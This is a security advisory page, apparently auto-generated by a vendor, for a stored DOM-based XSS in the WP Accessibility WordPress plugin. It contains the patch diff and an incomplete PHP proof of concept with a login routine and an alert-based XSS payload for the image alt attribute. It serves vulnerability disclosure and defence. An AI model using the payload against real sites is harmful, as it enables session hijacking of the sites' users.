Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2362: WP Accessibility <= 2.3.1 – Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute (wp-accessibility)

CVE ID CVE-2026-2362
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.3.1
Patched Version 2.3.2
Disclosed February 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2362:
The root cause is a DOM-based Cross-Site Scripting (XSS) vulnerability in the WP Accessibility plugin’s ‘Long Description UI’ feature. The plugin’s JavaScript retrieves the ‘alt’ attribute value from an image using getAttribute() and unsafely concatenates it into innerHTML and insertAdjacentHTML calls without proper sanitization or escaping. This occurs in the client-side code that generates the long description link UI. The vulnerability requires the ‘Long Description UI’ setting to be enabled and set to ‘Link to description.’ An authenticated attacker with Contributor-level access or higher can inject malicious JavaScript payloads into the ‘alt’ attribute of an image attachment. When a user views a page containing the compromised image, the malicious script executes in the victim’s browser. The patch in version 2.3.2 does not directly address the client-side JavaScript vulnerability. Instead, it modifies server-side validation in the wpa_media_value() function within wp-accessibility-alt.php. The patch expands the list of invalid alt text values to include more punctuation strings like ‘.’ and ‘…’, adds more suspicious strings to the wpa_suspicious_alt() function’s array, and replaces stripcslashes() with wp_unslash() in several files for consistency. These server-side changes make it harder to store an XSS payload in the alt attribute, but do not fix the underlying unsafe JavaScript concatenation. The impact is a stored DOM XSS that allows attackers to perform actions within the victim’s WordPress session, such as creating posts, modifying content, or stealing cookies.

Differential between vulnerable and patched code

Code Diff
--- a/wp-accessibility/wp-accessibility-alt.php
+++ b/wp-accessibility/wp-accessibility-alt.php
@@ -38,7 +38,6 @@
  */
 function wpa_media_value( $column, $id ) {
 	if ( 'wpa_data' === $column ) {
-		$mime           = get_post_mime_type( $id );
 		$invalid_values = array(
 			'""',
 			"''",
@@ -46,32 +45,29 @@
 			' ',
 			'-',
 			'--',
+			'.',
+			'...',
 		);
-		switch ( $mime ) {
-			case 'image/jpeg':
-			case 'image/png':
-			case 'image/gif':
-				$alt    = get_post_meta( $id, '_wp_attachment_image_alt', true );
-				$no_alt = (bool) get_post_meta( $id, '_no_alt', true );
-				if ( ! $alt && ! $no_alt ) {
-					echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Add <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
+		if ( wp_attachment_is( 'image', $id ) ) {
+			$alt    = get_post_meta( $id, '_wp_attachment_image_alt', true );
+			$no_alt = (bool) get_post_meta( $id, '_no_alt', true );
+			if ( ! $alt && ! $no_alt ) {
+				echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Add <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
+			} else {
+				if ( true === $no_alt ) {
+					echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Decorative', 'wp-accessibility' ) . '</span>';
+				} elseif ( in_array( $alt, $invalid_values, true ) || ctype_punct( $alt ) || ctype_space( $alt ) ) {
+					echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Invalid <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
+				} elseif ( wpa_suspicious_alt( $alt ) ) {
+					echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Suspicious <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
+				} elseif ( wpa_long_alt( $alt ) ) {
+					echo '<span class="long"><span class="dashicons dashicons-warning" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Long <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
 				} else {
-					if ( true === $no_alt ) {
-						echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Decorative', 'wp-accessibility' ) . '</span>';
-					} elseif ( in_array( $alt, $invalid_values, true ) || ctype_punct( $alt ) || ctype_space( $alt ) ) {
-						echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Invalid <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
-					} elseif ( wpa_suspicious_alt( $alt ) ) {
-						echo '<span class="missing"><span class="dashicons dashicons-no" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Suspicious <code>alt</code>', 'wp-accessibility' ) . '</a></span>';
-					} elseif ( wpa_long_alt( $alt ) ) {
-						echo '<span class="long"><span class="dashicons dashicons-warning" aria-hidden="true"></span> <a href="' . get_edit_post_link( $id ) . '#attachment_alt">' . __( 'Long <code>alt</code> text', 'wp-accessibility' ) . '</a></span>';
-					} else {
-						echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Has <code>alt</code>', 'wp-accessibility' ) . '</span>';
-					}
+					echo '<span class="ok"><span class="dashicons dashicons-yes" aria-hidden="true"></span> ' . __( 'Has <code>alt</code>', 'wp-accessibility' ) . '</span>';
 				}
-				break;
-			default:
-				echo '<span class="non-image">' . __( 'N/A', 'wp-accessibility' ) . '</span>';
-				break;
+			}
+		} else {
+			echo '<span class="non-image">' . __( 'N/A', 'wp-accessibility' ) . '</span>';
 		}
 	}
 	return $column;
@@ -115,8 +111,16 @@
 		'logo',
 		'image',
 		'picture',
+		'graphic',
+		'photo',
+		'icon',
 		'alt text',
 		'alternative text',
+		'.png',
+		'.jpg',
+		'.jpeg',
+		'.gif',
+		'click here',
 	);
 	/**
 	 * Filter array of case insensitive strings that make alt text suspicious.
--- a/wp-accessibility/wp-accessibility-settings.php
+++ b/wp-accessibility/wp-accessibility-settings.php
@@ -226,12 +226,12 @@
 											?>
 										<p>
 											<label for="asl_styles"><?php _e( 'Styles for Skiplinks', 'wp-accessibility' ); ?></label><br/>
-											<textarea name='asl_styles' id='asl_styles' cols='60' rows='4'><?php echo esc_textarea( stripcslashes( $styles ) ); ?></textarea>
+											<textarea name='asl_styles' id='asl_styles' cols='60' rows='4'><?php echo esc_textarea( wp_unslash( $styles ) ); ?></textarea>
 										</p>
 											<?php
 										} else {
 											$styles = wpa_skiplink_css( true );
-											echo '<pre id="wpa_default_css">' . esc_html( stripcslashes( $styles ) ) . '</pre>';
+											echo '<pre id="wpa_default_css">' . esc_html( wp_unslash( $styles ) ) . '</pre>';
 										}
 										?>
 									</fieldset>
--- a/wp-accessibility/wp-accessibility.php
+++ b/wp-accessibility/wp-accessibility.php
@@ -4,7 +4,7 @@
  *
  * @package     WP Accessibility
  * @author      Joe Dolson
- * @copyright   2012-2025 Joe Dolson
+ * @copyright   2012-2026 Joe Dolson
  * @license     GPL-2.0+
  *
  * @wordpress-plugin
@@ -17,11 +17,11 @@
  * Domain Path: /lang
  * License:     GPL-2.0+
  * License URI: http://www.gnu.org/license/gpl-2.0.txt
- * Version: 2.3.1
+ * Version: 2.3.2
  */

 /*
-	Copyright 2012-2025  Joe Dolson (email : joe@joedolson.com)
+	Copyright 2012-2026  Joe Dolson (email : joe@joedolson.com)

 	This program is free software; you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -52,7 +52,7 @@
 	require_once __DIR__ . '/wp-accessibility-stats.php';
 }

-define( 'WP_ACCESSIBILITY_VERSION', '2.3.1' );
+define( 'WP_ACCESSIBILITY_VERSION', '2.3.2' );

 register_activation_hook( __FILE__, 'wpa_install' );

@@ -178,7 +178,7 @@
 		}
 		$add_css    = ( ! wpa_accessible_theme() ) ? wpa_css() : '';
 		$custom_css = ':root { --admin-bar-top : ' . $top . '; }';
-		wp_add_inline_style( 'wpa-style', wp_filter_nohtml_kses( stripcslashes( $add_css . $custom_css ) ) );
+		wp_add_inline_style( 'wpa-style', wp_filter_nohtml_kses( wp_unslash( $add_css . $custom_css ) ) );
 	}
 	if ( current_user_can( 'edit_files' ) && 'on' === get_option( 'wpa_diagnostics' ) ) {
 		wp_register_style( 'diagnostic', plugins_url( 'css/diagnostic.css', __FILE__ ) );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2362 - WP Accessibility <= 2.3.1 - Authenticated (Contributor+) Stored DOM-Based Cross-Site Scripting via 'alt' Attribute
<?php
// Configuration
$target_url = 'http://example.com/wordpress';
$username = 'contributor';
$password = 'password';
$payload = '"><img src=x onerror=alert(document.domain)>';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In'
)));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Check if login succeeded by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_response = curl_exec($ch);
if (strpos($admin_response, 'Dashboard') === false) {
    die('Login failed');
}

// Navigate to media library to upload or edit an image
// This PoC assumes an image with ID 123 exists and the user can edit it
// In a real attack, the attacker would upload an image first
$media_edit_url = $target_url . '/wp-admin/post.php?post=123&action=edit';
curl_setopt($ch, CURLOPT_URL, $media_edit_url);
$media_page = curl_exec($ch);

// Extract nonce for updating the attachment (simplified - actual implementation needs nonce extraction)
// The vulnerability is in the alt attribute field, which is updated via AJAX or post save
// This PoC demonstrates the concept; actual exploitation requires interacting with the correct AJAX endpoint

// Clean up
curl_close($ch);
unlink('cookies.txt');
echo 'PoC concept demonstrated. Actual exploitation requires setting alt attribute to: ' . $payload . 'n';
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School